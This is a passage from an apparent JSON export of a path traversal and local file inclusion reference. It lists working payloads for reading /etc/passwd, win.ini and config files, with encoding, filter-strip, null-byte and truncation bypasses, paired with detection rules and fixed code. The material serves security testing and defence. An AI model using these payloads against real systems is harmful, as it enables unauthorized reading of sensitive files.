{
  "name": "LFI Payloads",
  "description": "Local File Inclusion and path traversal payloads, organized by technique and target — with detection and remediation for each. For authorized security testing.",
  "url": "https://www.lfipayloads.com",
  "license": "Free to use for authorized security testing and secure development.",
  "generatedAt": "2026-11-19T18:21:44.295Z",
  "techniqueCount": 15,
  "techniques": [
    {
      "slug": "basic-path-traversal",
      "name": "Basic path traversal",
      "title": "Path Traversal (../) Payloads & Fix",
      "primaryQuery": "path traversal payloads",
      "h1": "Basic path traversal payloads (../ directory traversal)",
      "metaDescription": "Basic path traversal payloads using ../ and ..\\ sequences to read files outside the web root, with when they work, how to detect them, and how to fix the code.",
      "summary": "Basic path traversal payloads abuse a parameter that is concatenated into a file path so that ../ (or ..\\ on Windows) sequences walk up out of the intended directory and read arbitrary files such as /etc/passwd. This is the root of every Local File Inclusion bug: the application trusts attacker input to build a path.",
      "tagline": "Walk out of the intended directory with ../ to read arbitrary files.",
      "targetOS": [
        "linux",
        "windows"
      ],
      "bypassClasses": [
        "none"
      ],
      "impact": [
        "file-read",
        "info-disclosure"
      ],
      "howItWorks": [
        "A vulnerable endpoint takes a filename from the request (for example ?page=home or ?file=report.pdf) and joins it onto a base directory before opening it. If the value is used without resolving and validating the final path, an attacker can prepend ../ segments to climb above the base directory.",
        "Each ../ (dot-dot-slash) moves one level up the tree. Enough of them reach the filesystem root, after which an absolute-looking suffix selects any readable file. On Windows the separator is a backslash, so ..\\ is equivalent, and most Windows APIs accept forward slashes too.",
        "Because the climb stops at the root — extra ../ sequences past / are harmless — attackers usually over-count (../../../../../../) to avoid having to know the exact depth of the base directory."
      ],
      "whenItWorks": [
        "User input is concatenated into a path and the result is never canonicalized or checked against an allowlist.",
        "The process has read permission on the target file (web-server user can usually read /etc/passwd, app config, source).",
        "No WAF or input filter strips or rejects ../ sequences."
      ],
      "whenItFails": [
        "The app resolves the path (realpath/normalize) and verifies it stays within the base directory.",
        "Input is mapped through an allowlist of known keys instead of used as a path.",
        "A forced extension is appended and not truncated (see extension-filter-bypass), so only a fixed file type can be opened."
      ],
      "payloads": [
        {
          "id": "bpt-etc-passwd",
          "payload": "../../../../../../etc/passwd",
          "explanation": "Classic Unix proof of concept. Over-counts ../ to reach the root regardless of base-directory depth, then reads the world-readable account list.",
          "targetOS": "linux",
          "bypassClass": "none"
        },
        {
          "id": "bpt-win-hosts",
          "payload": "..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
          "explanation": "Windows equivalent using backslashes to reach a world-readable file that confirms traversal on Windows hosts.",
          "targetOS": "windows",
          "bypassClass": "none"
        },
        {
          "id": "bpt-win-forward-slash",
          "payload": "../../../../../../windows/win.ini",
          "explanation": "Windows accepts forward slashes in most path APIs, so Unix-style ../ often works against Windows targets too.",
          "targetOS": "windows",
          "bypassClass": "none"
        },
        {
          "id": "bpt-app-config",
          "payload": "../../config/database.php",
          "explanation": "Shallow traversal to an application config one or two directories above the web root — often higher value than /etc/passwd.",
          "targetOS": "any",
          "bypassClass": "none",
          "notes": "Use php://filter to read PHP source without execution — see the PHP filter wrapper technique."
        }
      ],
      "detection": {
        "logs": [
          "Request paths or query strings containing ../, ..%2f, or ..\\ — grep access logs for the literal and encoded forms.",
          "Requests that reference sensitive filenames (passwd, shadow, web.config, .env, id_rsa) in any parameter.",
          "A spike of 200/403 responses on a single file parameter from one source — bracketing the base-directory depth."
        ],
        "code": [
          "File APIs (fopen, file_get_contents, open, fs.readFile, include/require) whose path argument derives from request data.",
          "Path building with string concatenation or join() where one component is user-controlled.",
          "Absence of a realpath/normalize call followed by a prefix check before the file is opened."
        ],
        "rule": "A Sigma/WAF rule matching (\\.\\./){2,} or its URL-encoded variants in request parameters catches the naive form; pair it with canonicalization server-side rather than relying on the rule alone."
      },
      "remediation": [
        "Do not build file paths from user input. Map a request key to a fixed path through a server-side allowlist (e.g. {\"home\": \"home.html\"}) and reject anything not in the map.",
        "If a path component is unavoidable, resolve the final path (realpath in PHP, Path.resolve/normalize in Node, os.path.realpath in Python) and verify it starts with the intended base directory before opening it.",
        "Reject input containing path separators or .. outright when the parameter should be a bare filename; validate against a strict pattern such as ^[A-Za-z0-9_-]+$.",
        "Run the application as a low-privilege user and use filesystem permissions / chroot / containers so even a successful traversal reaches nothing sensitive."
      ],
      "codeFix": {
        "lang": "php",
        "caption": "Resolve the final path and confirm it stays inside the base directory before reading.",
        "vulnerable": "$base = '/var/www/pages/';\n$file = $base . $_GET['page'];\nreadfile($file); // ?page=../../../../etc/passwd",
        "fixed": "$base = '/var/www/pages/';\n$path = realpath($base . $_GET['page']);\nif ($path === false || !str_starts_with($path, $base)) {\n    http_response_code(400);\n    exit('Invalid path');\n}\nreadfile($path);"
      },
      "related": [
        "absolute-path-inclusion",
        "url-encoding-bypass",
        "non-recursive-strip-bypass",
        "php-filter-wrapper"
      ],
      "references": [
        {
          "title": "OWASP — Path Traversal",
          "url": "https://owasp.org/www-community/attacks/Path_Traversal"
        },
        {
          "title": "PortSwigger Web Security Academy — Directory traversal",
          "url": "https://portswigger.net/web-security/file-path-traversal"
        },
        {
          "title": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory",
          "url": "https://cwe.mitre.org/data/definitions/22.html"
        }
      ],
      "faq": [
        {
          "question": "Why do payloads use so many ../ sequences?",
          "answer": "Climbing stops at the filesystem root, so extra ../ past the root are ignored. Over-counting means the attacker does not need to know the exact depth of the base directory for the payload to reach /."
        },
        {
          "question": "Is path traversal the same as Local File Inclusion?",
          "answer": "Traversal is the mechanism that selects a file outside the intended directory. When the selected file is then included/executed (as with PHP include), traversal becomes Local File Inclusion, which can escalate to code execution."
        }
      ]
    },
    {
      "slug": "absolute-path-inclusion",
      "name": "Absolute path inclusion",
      "title": "Absolute Path File Inclusion Payloads",
      "primaryQuery": "absolute path file inclusion",
      "h1": "Absolute path file inclusion (direct file read without traversal)",
      "metaDescription": "Absolute path file inclusion payloads supply a full path like /etc/passwd directly, no ../ needed, with when it works, detection in logs and code, and the fix.",
      "summary": "Absolute path file inclusion happens when a parameter is passed to a file API that accepts an absolute path, so an attacker supplies a full path such as /etc/passwd or C:\\windows\\win.ini directly — no ../ traversal required. It occurs when the code opens the raw value instead of joining it to a trusted base directory.",
      "tagline": "Supply a full path like /etc/passwd directly — no ../ needed.",
      "targetOS": [
        "linux",
        "windows"
      ],
      "bypassClasses": [
        "none"
      ],
      "impact": [
        "file-read",
        "info-disclosure"
      ],
      "howItWorks": [
        "Some code passes the user value straight to fopen/include/open without prepending a base directory, or uses an API that treats a leading / (or drive letter) as an absolute path and discards any base it was joined to.",
        "In many languages, joining a base with an absolute component yields the absolute component: Python's os.path.join('/var/www', '/etc/passwd') returns '/etc/passwd', and PHP include simply opens whatever path it is given. The attacker therefore names the target file outright.",
        "This is often simpler and more reliable than ../ climbing because there is no depth to guess and no traversal sequence for a filter to catch."
      ],
      "whenItWorks": [
        "The file API accepts absolute paths and the base directory is not enforced after joining.",
        "Filters only look for ../ and ignore a bare leading / or a Windows drive/UNC prefix.",
        "The language's path-join discards the base when the second argument is absolute."
      ],
      "whenItFails": [
        "The code strips leading slashes or rejects absolute inputs before joining.",
        "A prefix check confirms the resolved path begins with the base directory.",
        "Input is resolved through an allowlist of keys rather than used as a path."
      ],
      "payloads": [
        {
          "id": "api-etc-passwd",
          "payload": "/etc/passwd",
          "explanation": "Direct absolute path. Works when the handler opens the raw value or when path-join discards the trusted base.",
          "targetOS": "linux",
          "bypassClass": "none"
        },
        {
          "id": "api-win-ini",
          "payload": "C:\\windows\\win.ini",
          "explanation": "Windows absolute path with drive letter; a reliable read-confirmation target on Windows hosts.",
          "targetOS": "windows",
          "bypassClass": "none"
        },
        {
          "id": "api-proc-cmdline",
          "payload": "/proc/self/cmdline",
          "explanation": "Absolute read of the current process command line — discloses how the app was launched and sometimes secrets passed as arguments.",
          "targetOS": "linux",
          "bypassClass": "none",
          "notes": "See the /proc inclusion technique for turning this into more impact."
        },
        {
          "id": "api-file-wrapper",
          "payload": "file:///etc/passwd",
          "explanation": "The file:// scheme forces an absolute local read in handlers that route the value through a URL/stream opener.",
          "targetOS": "linux",
          "bypassClass": "wrapper"
        }
      ],
      "detection": {
        "logs": [
          "Parameters whose value begins with / , a drive letter (C:\\), or a scheme (file://) where a relative filename is expected.",
          "Requests naming sensitive absolute paths (/etc/shadow, /root/.ssh/id_rsa, C:\\inetpub\\...)."
        ],
        "code": [
          "Path joins where the user-controlled component can be absolute (os.path.join, path.join, Paths.get) with no prior leading-slash check.",
          "File APIs called with the raw parameter and no base directory at all.",
          "URL/stream openers (allow_url_fopen contexts) reachable from a file parameter."
        ],
        "rule": "Flag request parameters matching ^(/|[A-Za-z]:\\\\|file://) for a field that should be a bare filename."
      },
      "remediation": [
        "Treat the parameter as a key, not a path: resolve it through a server-side allowlist/map to a fixed absolute path.",
        "Reject any value that is absolute — strip leading slashes, reject drive letters and UNC prefixes, and reject URL schemes — before building the path.",
        "After building the path, call realpath/normalize and verify the result is within the intended base directory.",
        "Use basename() (or the platform equivalent) to discard any directory component when only a filename should be accepted."
      ],
      "codeFix": {
        "lang": "python",
        "caption": "basename() drops any directory part so an absolute path cannot escape the base.",
        "vulnerable": "import os\nbase = '/var/www/files'\nname = request.args['f']\nopen(os.path.join(base, name)).read()  # f=/etc/passwd -> /etc/passwd",
        "fixed": "import os\nbase = '/var/www/files'\nname = os.path.basename(request.args['f'])\npath = os.path.realpath(os.path.join(base, name))\nif not path.startswith(base + os.sep):\n    abort(400)\nopen(path).read()"
      },
      "related": [
        "basic-path-traversal",
        "proc-environ-inclusion",
        "php-wrapper-rce",
        "remote-file-inclusion"
      ],
      "references": [
        {
          "title": "OWASP — Path Traversal",
          "url": "https://owasp.org/www-community/attacks/Path_Traversal"
        },
        {
          "title": "Python docs — os.path.join behaviour with absolute paths",
          "url": "https://docs.python.org/3/library/os.path.html#os.path.join"
        }
      ],
      "faq": [
        {
          "question": "Why does /etc/passwd work without any ../?",
          "answer": "When the handler opens the value directly, or when path-join discards the base on an absolute second argument, the absolute path selects the file on its own. No upward traversal is needed."
        }
      ]
    },
    {
      "slug": "url-encoding-bypass",
      "name": "Encoding bypass",
      "title": "Path Traversal Encoding Bypass Payloads",
      "primaryQuery": "path traversal encoding bypass",
      "h1": "Path traversal encoding bypass (URL, double, and overlong UTF-8)",
      "metaDescription": "Path traversal encoding bypass payloads: URL-encoded, double-encoded, overlong UTF-8 and 16-bit Unicode ../, with when each works, detection, and the fix.",
      "summary": "A path traversal encoding bypass hides the ../ sequence from a filter by encoding the dot or slash — single URL encoding (%2e%2e%2f), double encoding (%252e), overlong UTF-8 (%c0%ae) or 16-bit Unicode (%u2215). It works when a filter inspects the raw string but the value is decoded again before it reaches the file API.",
      "tagline": "Encode the dots and slashes so the ../ filter never sees them.",
      "targetOS": [
        "linux",
        "windows"
      ],
      "bypassClasses": [
        "encoding"
      ],
      "impact": [
        "file-read",
        "info-disclosure"
      ],
      "howItWorks": [
        "A filter that blocks the literal ../ can be defeated when decoding happens after the check, or more than once. The request carries an encoded form that the filter does not recognise; a later decode step restores ../ before the file is opened.",
        "Single URL encoding replaces characters with %XX (. is %2e, / is %2f). Double encoding encodes the percent sign itself (%25), so %252e decodes to %2e on the first pass and to . on the second — effective against stacks that decode twice (e.g. a proxy then the app).",
        "Overlong UTF-8 encodes / as the illegal multi-byte %c0%af (and . as %c0%ae), which some lenient decoders still accept. The non-standard %u2215 (Unicode fraction slash) and %uff0e were historically decoded by IIS. Which form works depends entirely on the decoder in the path."
      ],
      "whenItWorks": [
        "A blocklist checks the raw string but the framework/proxy URL-decodes it afterwards.",
        "Two decode passes exist in the stack (proxy + app, or double call to a decoder) — double encoding then lands as ../.",
        "A lenient or legacy decoder accepts overlong UTF-8 or %u-style sequences."
      ],
      "whenItFails": [
        "The value is canonicalized once and then validated (check-after-decode) with a prefix/allowlist test.",
        "A strict decoder rejects overlong UTF-8 and unknown %u sequences.",
        "Input is resolved through an allowlist so the decoded form is never used as a path."
      ],
      "payloads": [
        {
          "id": "enc-single-url",
          "payload": "..%2f..%2f..%2fetc%2fpasswd",
          "explanation": "Single URL encoding of the slash. Bypasses a filter that matches literal / but runs before the framework decodes the query string.",
          "targetOS": "linux",
          "bypassClass": "encoding"
        },
        {
          "id": "enc-dot-and-slash",
          "payload": "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
          "explanation": "Both dots and slashes encoded, so no recognisable ../ appears in the raw string at all.",
          "targetOS": "linux",
          "bypassClass": "encoding"
        },
        {
          "id": "enc-double",
          "payload": "..%252f..%252f..%252fetc%252fpasswd",
          "explanation": "Double encoding: %252f -> %2f -> / across two decode passes. Targets proxy-plus-app stacks that each decode once.",
          "targetOS": "any",
          "bypassClass": "encoding"
        },
        {
          "id": "enc-overlong-utf8",
          "payload": "..%c0%af..%c0%af..%c0%afetc/passwd",
          "explanation": "Overlong UTF-8 for the slash (%c0%af). Accepted by lenient decoders that do not reject non-shortest-form sequences.",
          "targetOS": "any",
          "bypassClass": "encoding",
          "notes": "Historically effective against older IIS and some Java decoders."
        },
        {
          "id": "enc-utf16-unicode",
          "payload": "..%u2215..%u2215..%u2215etc/passwd",
          "explanation": "Non-standard %u Unicode escape for the fraction slash (U+2215), decoded by some legacy Windows/IIS components.",
          "targetOS": "windows",
          "bypassClass": "encoding"
        }
      ],
      "detection": {
        "logs": [
          "Encoded dot/slash fragments in parameters: %2e, %2f, %5c, %252e, %252f, %c0%ae, %c0%af, %u2215.",
          "A decoded view of request parameters that, once normalised, contains ../ or ..\\.",
          "Repeated requests cycling through encoding variants against the same parameter."
        ],
        "code": [
          "Validation that runs before the framework/proxy decodes the input (check-before-decode is the core bug).",
          "Multiple decode steps in one request path (proxy rewrite + manual urldecode in the handler).",
          "Custom or legacy decoders configured to accept overlong UTF-8 or %u sequences."
        ],
        "rule": "Normalise/decode fully, then match (\\.\\.(/|\\\\)) once; alerting on raw %c0%af and %252f catches tool traffic but must not replace canonicalize-then-validate."
      },
      "remediation": [
        "Canonicalize first, validate second: fully decode and normalise the input exactly once, then run the allowlist / prefix check on the result.",
        "Decode in a single, well-defined place — never validate a value that a later layer will decode again.",
        "Use a strict UTF-8 decoder that rejects overlong and non-shortest-form sequences, and reject unknown %u escapes.",
        "Prefer an allowlist of keys to a path so the decoded string is never used to build a filesystem path."
      ],
      "codeFix": {
        "lang": "javascript",
        "caption": "Decode and normalize once, then check the result stays under the base — not the raw input.",
        "vulnerable": "// validates BEFORE decoding -> encoded ../ slips through\nif (req.query.f.includes('../')) return res.sendStatus(400);\nfs.readFile(path.join(BASE, req.query.f), cb);",
        "fixed": "const decoded = decodeURIComponent(req.query.f);\nconst full = path.resolve(BASE, decoded);\nif (!full.startsWith(BASE + path.sep)) return res.sendStatus(400);\nfs.readFile(full, cb);"
      },
      "related": [
        "basic-path-traversal",
        "non-recursive-strip-bypass",
        "null-byte-injection",
        "extension-filter-bypass"
      ],
      "references": [
        {
          "title": "OWASP — Path Traversal",
          "url": "https://owasp.org/www-community/attacks/Path_Traversal"
        },
        {
          "title": "PortSwigger — Bypassing traversal filters",
          "url": "https://portswigger.net/web-security/file-path-traversal"
        },
        {
          "title": "Unicode Technical Report #36 — overlong sequences & security",
          "url": "https://www.unicode.org/reports/tr36/"
        }
      ],
      "faq": [
        {
          "question": "When does double URL encoding work?",
          "answer": "When two layers each URL-decode once — for example a reverse proxy rewrites and decodes, then the application decodes again. %252f becomes %2f then /, so the traversal only appears after both passes."
        },
        {
          "question": "Why does canonicalize-then-validate stop these?",
          "answer": "Every encoding trick relies on the check seeing a different string than the file API does. Decoding and normalising to one canonical form before validating removes that gap."
        }
      ]
    },
    {
      "slug": "non-recursive-strip-bypass",
      "name": "Filter-strip bypass",
      "title": "Traversal Filter Bypass Payloads (....//)",
      "primaryQuery": "traversal filter bypass",
      "h1": "Traversal filter bypass with ....// and ..;/ sequences",
      "metaDescription": "Traversal filter bypass payloads defeat a non-recursive ../ stripper with ....// and ..;/ so the removed text reassembles into ../, with detection and the fix.",
      "summary": "A traversal filter bypass abuses a filter that strips ../ only once (non-recursively): payloads like ....// or ..././ are built so that, after the filter deletes the ../ it recognises, the leftover characters reassemble into a valid ../ sequence. Related tricks use ..;/ or mixed separators to slip past naive blocklists.",
      "tagline": "Craft ....// so removing one ../ leaves another ../ behind.",
      "targetOS": [
        "linux",
        "windows"
      ],
      "bypassClasses": [
        "filter-strip"
      ],
      "impact": [
        "file-read",
        "info-disclosure"
      ],
      "howItWorks": [
        "A common but broken defence is to delete ../ from the input in a single pass. If the deletion is not applied repeatedly until the string stops changing, carefully overlapping sequences survive it.",
        "Take ....//: the filter finds the inner ../ (characters 3–5) and removes it, leaving ../ — a working traversal. Likewise ..././ collapses to ../ after one removal pass. The attacker encodes the removal into the payload itself.",
        "Separator and path-parameter tricks round this out: ..;/ abuses servers (notably some Tomcat/Java setups) that treat ; as a path-parameter delimiter, and mixing / with \\ (..\\/) can slip past filters that only know one separator."
      ],
      "whenItWorks": [
        "The filter removes or replaces ../ in a single, non-recursive pass.",
        "The filter knows only one separator or one exact sequence (e.g. matches '../' but not '..\\' or '..;/').",
        "No canonicalization/allowlist runs after the stripping step."
      ],
      "whenItFails": [
        "The filter loops until the string is unchanged, or (better) canonicalizes and does a prefix check.",
        "Input is resolved through an allowlist of keys, not sanitised as a path.",
        "The server does not honour path parameters (;), closing the ..;/ variant."
      ],
      "payloads": [
        {
          "id": "fs-double-dot-slash",
          "payload": "....//....//....//etc/passwd",
          "explanation": "After a single non-recursive removal of ../, each ....// collapses to ../, yielding a working traversal.",
          "targetOS": "linux",
          "bypassClass": "filter-strip"
        },
        {
          "id": "fs-dot-dot-dot-slash",
          "payload": "..././..././..././etc/passwd",
          "explanation": "Another self-healing form: removing the recognised ../ once leaves ../ behind.",
          "targetOS": "linux",
          "bypassClass": "filter-strip"
        },
        {
          "id": "fs-semicolon-path-param",
          "payload": "..;/..;/..;/etc/passwd",
          "explanation": "Uses the ; path-parameter delimiter honoured by some servers (e.g. Tomcat) so ..;/ is treated as traversal while bypassing a '../' blocklist.",
          "targetOS": "any",
          "bypassClass": "filter-strip"
        },
        {
          "id": "fs-mixed-separator",
          "payload": "..\\/..\\/..\\/etc/passwd",
          "explanation": "Mixes separators so a filter that only matches one of / or \\ misses the sequence while the OS still traverses.",
          "targetOS": "windows",
          "bypassClass": "filter-strip"
        }
      ],
      "detection": {
        "logs": [
          "Overlapping dot/slash patterns: ....// , ..././ , ...\\.\\ in parameters.",
          "Path-parameter traversal: ..;/ in request paths or parameters.",
          "Mixed / and \\ separators combined with dot sequences."
        ],
        "code": [
          "str_replace/replace calls that delete '../' once instead of looping to a fixed point.",
          "Blocklists that match a single literal sequence or a single separator.",
          "Sanitisation used as the only control, with no canonicalization + prefix check afterwards."
        ],
        "rule": "Match the self-healing forms (\\.{2,}[\\\\/]+)+ and ..;/ ; treat sanitisation failures by switching to canonicalize-then-validate."
      },
      "remediation": [
        "Never 'clean' traversal by deleting ../ — it is inherently bypassable. Canonicalize (realpath/normalize) and verify the result is within the base directory instead.",
        "If you must filter, apply the replacement repeatedly until the string no longer changes, then still validate the canonical path.",
        "Resolve a request key through an allowlist map to a fixed path so no sanitisation of a path is needed.",
        "Disable path-parameter handling (;) where not required, and normalise separators before any check."
      ],
      "codeFix": {
        "lang": "javascript",
        "caption": "Replace brittle stripping with canonicalize-then-prefix-check, which no overlapping sequence can defeat.",
        "vulnerable": "// non-recursive strip: '....//' -> '../'\nconst clean = req.query.f.replace(/\\.\\.\\//g, '');\nfs.readFile(path.join(BASE, clean), cb);",
        "fixed": "const full = path.resolve(BASE, decodeURIComponent(req.query.f));\nif (!full.startsWith(BASE + path.sep)) return res.sendStatus(400);\nfs.readFile(full, cb);"
      },
      "related": [
        "basic-path-traversal",
        "url-encoding-bypass",
        "extension-filter-bypass",
        "absolute-path-inclusion"
      ],
      "references": [
        {
          "title": "OWASP — Path Traversal",
          "url": "https://owasp.org/www-community/attacks/Path_Traversal"
        },
        {
          "title": "PortSwigger — Stripped traversal sequences non-recursively",
          "url": "https://portswigger.net/web-security/file-path-traversal"
        }
      ],
      "faq": [
        {
          "question": "Why does ....// defeat a ../ filter?",
          "answer": "A non-recursive filter removes the inner ../ once and stops. The characters left on either side (.. and /) join into a fresh ../, so the traversal survives the single cleaning pass."
        }
      ]
    },
    {
      "slug": "null-byte-injection",
      "name": "Null byte injection",
      "title": "Null Byte Injection LFI Payloads (%00)",
      "primaryQuery": "null byte injection lfi",
      "h1": "Null byte injection in LFI (%00 path truncation)",
      "metaDescription": "Null byte injection LFI payloads use %00 to truncate an appended extension so any file can be read, when it works on legacy PHP, detection, and the fix.",
      "summary": "Null byte injection LFI uses a %00 (NUL) byte to truncate the string at the C level, cutting off an extension the application appends (for example '.php') so an arbitrary file is opened instead. It is a legacy technique: it works on PHP before 5.3.4 and other code that passes strings to C file APIs without rejecting NUL.",
      "tagline": "Terminate the string with %00 to drop an appended .php extension.",
      "targetOS": [
        "linux",
        "windows"
      ],
      "bypassClasses": [
        "null-byte"
      ],
      "impact": [
        "file-read",
        "source-disclosure",
        "info-disclosure"
      ],
      "howItWorks": [
        "To constrain which files can be opened, code often appends a fixed suffix, e.g. include($_GET['page'] . '.php'). The attacker wants to read /etc/passwd, but the appended .php would turn it into /etc/passwd.php, which does not exist.",
        "A NUL byte (%00 in the URL) is the C string terminator. When the language passes the string to a C-level file function without length-checking, everything after the NUL is ignored. So page=/etc/passwd%00 becomes /etc/passwd at the syscall, and the appended .php is discarded.",
        "The bug was fixed in PHP 5.3.4 (NUL in paths now raises an error) and modern languages reject embedded NUL in filenames, so this is primarily relevant to legacy stacks and native code that still trusts raw strings."
      ],
      "whenItWorks": [
        "A fixed extension or suffix is concatenated after user input.",
        "The runtime passes the path to a C file API without rejecting embedded NUL (PHP < 5.3.4, some old CGI/Perl).",
        "The transport preserves the NUL byte to the vulnerable call (raw %00, sometimes double-encoded %2500)."
      ],
      "whenItFails": [
        "PHP >= 5.3.4 or any modern runtime that rejects NUL bytes in path arguments.",
        "Input is validated against an allowlist, or path separators / NUL are stripped before use.",
        "The framework normalises or percent-rejects control characters before the file call."
      ],
      "payloads": [
        {
          "id": "nb-passwd-php",
          "payload": "../../../../etc/passwd%00",
          "explanation": "Truncates an appended .php (or similar) suffix so /etc/passwd is opened instead of /etc/passwd.php.",
          "targetOS": "linux",
          "bypassClass": "null-byte"
        },
        {
          "id": "nb-passwd-forced-ext",
          "payload": "../../../../etc/passwd%00.php",
          "explanation": "Same truncation shown explicitly with the suffix the app would append; the %00 ends the string before .php.",
          "targetOS": "linux",
          "bypassClass": "null-byte"
        },
        {
          "id": "nb-double-encoded",
          "payload": "../../../../etc/passwd%2500",
          "explanation": "Double-encoded NUL for stacks that URL-decode twice, so %2500 -> %00 -> NUL reaches the file API.",
          "targetOS": "any",
          "bypassClass": "null-byte"
        },
        {
          "id": "nb-win-win-ini",
          "payload": "..\\..\\..\\..\\windows\\win.ini%00",
          "explanation": "Windows variant truncating an appended extension to read win.ini on legacy stacks.",
          "targetOS": "windows",
          "bypassClass": "null-byte"
        }
      ],
      "detection": {
        "logs": [
          "Literal or encoded NUL bytes in parameters: %00 and the double-encoded %2500.",
          "Requests combining traversal with a trailing %00 before where an extension would be.",
          "Application errors referencing an unexpected filename lacking its usual extension."
        ],
        "code": [
          "Concatenation of a fixed suffix after user input before a file call (… . '.php', … + '.html').",
          "File operations on legacy PHP (< 5.3.4), old Perl/CGI, or native wrappers that do not reject embedded NUL.",
          "No rejection of control characters / NUL in the input validation path."
        ],
        "rule": "Any %00 (or %2500) in a request parameter is anomalous for web input and should be alerted on and rejected."
      },
      "remediation": [
        "Reject any input containing a NUL byte (\\0) outright — it has no legitimate place in a filename parameter.",
        "Upgrade off end-of-life runtimes; PHP >= 5.3.4 already rejects NUL in path functions.",
        "Do not rely on an appended extension as a security control — validate against an allowlist of keys or filenames instead.",
        "Canonicalize and run a base-directory prefix check after decoding, so a truncated path still fails validation."
      ],
      "codeFix": {
        "lang": "php",
        "caption": "Reject NUL bytes and resolve against an allowlist instead of trusting an appended extension.",
        "vulnerable": "// pre-5.3.4 behaviour: %00 truncates '.php'\ninclude($_GET['page'] . '.php');",
        "fixed": "$pages = ['home' => 'home.php', 'about' => 'about.php'];\n$key = (string) ($_GET['page'] ?? '');\nif (str_contains($key, \"\\0\") || !isset($pages[$key])) {\n    http_response_code(400);\n    exit('Invalid page');\n}\ninclude __DIR__ . '/pages/' . $pages[$key];"
      },
      "related": [
        "path-truncation",
        "extension-filter-bypass",
        "url-encoding-bypass",
        "basic-path-traversal"
      ],
      "references": [
        {
          "title": "OWASP — Embedding Null Code",
          "url": "https://owasp.org/www-community/attacks/Embedding_Null_Code"
        },
        {
          "title": "PHP changelog — 5.3.4 NUL byte path handling",
          "url": "https://www.php.net/ChangeLog-5.php#5.3.4"
        }
      ],
      "faq": [
        {
          "question": "Does null byte injection still work today?",
          "answer": "Rarely. PHP fixed it in 5.3.4 and modern runtimes reject NUL in path arguments. It remains relevant for legacy PHP, old Perl/CGI, and native code that passes raw strings to C file APIs."
        }
      ]
    },
    {
      "slug": "path-truncation",
      "name": "Path truncation",
      "title": "LFI Path Truncation Bypass Payloads",
      "primaryQuery": "lfi path truncation bypass",
      "h1": "LFI path truncation bypass (trailing dots and slashes)",
      "metaDescription": "LFI path truncation bypass payloads pad the path with ./ and trailing dots to drop an appended extension on legacy PHP, with when it works and the fix.",
      "summary": "LFI path truncation bypass drops an appended extension without a null byte by exceeding the filesystem path-length limit (or exploiting trailing-dot/slash trimming) so the suffix is cut off. The target path is padded with harmless sequences like /./ or trailing dots until the appended '.php' falls past the truncation point. It targets legacy PHP (before 5.3) where NUL byte tricks were patched.",
      "tagline": "Pad with ./ and trailing dots so an appended extension is cut off.",
      "targetOS": [
        "linux"
      ],
      "bypassClasses": [
        "truncation"
      ],
      "impact": [
        "file-read",
        "source-disclosure",
        "info-disclosure"
      ],
      "howItWorks": [
        "When code appends a fixed extension (… . '.php') and the null-byte trick is unavailable, path length can be abused instead. Older PHP silently truncated paths longer than the OS limit (around 4096 bytes on Linux), discarding the appended suffix.",
        "The path is padded so the real filename sits before the limit and the appended extension sits beyond it. Padding uses sequences that resolve to the same file: a long run of /./ (current directory), a trailing /, or a run of trailing dots after the filename — PHP/the OS collapse or ignore these while they consume length.",
        "Leading ./ padding (./././…/etc/passwd) and trailing dots (/etc/passwd followed by many .) are the common forms. A trailing slash alone (/etc/passwd/.) also makes an appended .php invalid because /etc/passwd/. plus .php is not a file."
      ],
      "whenItWorks": [
        "Legacy PHP (roughly < 5.3) that truncates over-length paths instead of erroring.",
        "A fixed extension is appended to user input before the file call.",
        "No canonicalization/allowlist runs on the value before use."
      ],
      "whenItFails": [
        "Modern PHP / runtimes that do not silently truncate long paths.",
        "Canonicalization collapses the padding and the result fails a prefix/allowlist check.",
        "The target is selected via an allowlist key rather than a built path."
      ],
      "payloads": [
        {
          "id": "pt-dot-slash-pad",
          "payload": "../../../../etc/passwd/././././././././././././././././././././././.",
          "explanation": "Trailing /./ padding consumes path length so an appended extension falls past the truncation limit while the path still resolves to /etc/passwd.",
          "targetOS": "linux",
          "bypassClass": "truncation",
          "notes": "Real payloads repeat the padding to ~4096 bytes; shown abbreviated."
        },
        {
          "id": "pt-trailing-dots",
          "payload": "../../../../etc/passwd........................................",
          "explanation": "A long run of trailing dots after the filename; legacy PHP trims them, and the length pushes the appended suffix out.",
          "targetOS": "linux",
          "bypassClass": "truncation"
        },
        {
          "id": "pt-trailing-slash-dot",
          "payload": "../../../../etc/passwd/.",
          "explanation": "The /. suffix makes an appended .php invalid (/etc/passwd/.php is not a file) while /etc/passwd/. still resolves to the file.",
          "targetOS": "linux",
          "bypassClass": "truncation"
        },
        {
          "id": "pt-leading-dot-slash",
          "payload": "./././././././././././././././../../../../etc/passwd",
          "explanation": "Leading ./ padding does the same length work before the traversal, used when trailing characters are stripped.",
          "targetOS": "linux",
          "bypassClass": "truncation"
        }
      ],
      "detection": {
        "logs": [
          "Abnormally long request parameters (hundreds to thousands of bytes) for a filename field.",
          "Long runs of ./ , trailing dots, or /. after a recognisable filename.",
          "Repeated requests to the same parameter with incrementing padding length."
        ],
        "code": [
          "Appending a fixed extension to user input before a file call on an old PHP version.",
          "No maximum-length check on a filename parameter.",
          "No canonicalization (realpath) that would collapse the padding before validation."
        ],
        "rule": "Alert on filename parameters over a sane length (e.g. > 255 bytes) and on runs of /./ or trailing dots."
      },
      "remediation": [
        "Enforce a strict maximum length on filename parameters (a real filename is short).",
        "Upgrade off end-of-life PHP; modern versions do not silently truncate over-length paths.",
        "Canonicalize with realpath and verify the result is inside the base directory — padding collapses and the check fails.",
        "Select files through an allowlist of keys so a padded path is never used to open a file."
      ],
      "codeFix": {
        "lang": "php",
        "caption": "Length limit plus realpath prefix check defeats padding-based truncation.",
        "vulnerable": "include('/var/www/pages/' . $_GET['page'] . '.php');",
        "fixed": "$page = (string) ($_GET['page'] ?? '');\nif (strlen($page) > 64) { http_response_code(400); exit; }\n$base = '/var/www/pages/';\n$path = realpath($base . $page . '.php');\nif ($path === false || !str_starts_with($path, $base)) {\n    http_response_code(400); exit('Invalid page');\n}\ninclude $path;"
      },
      "related": [
        "null-byte-injection",
        "extension-filter-bypass",
        "basic-path-traversal",
        "php-filter-wrapper"
      ],
      "references": [
        {
          "title": "OWASP — Path Traversal",
          "url": "https://owasp.org/www-community/attacks/Path_Traversal"
        },
        {
          "title": "HackTricks — LFI path truncation (reference material)",
          "url": "https://book.hacktricks.xyz/pentesting-web/file-inclusion"
        }
      ],
      "faq": [
        {
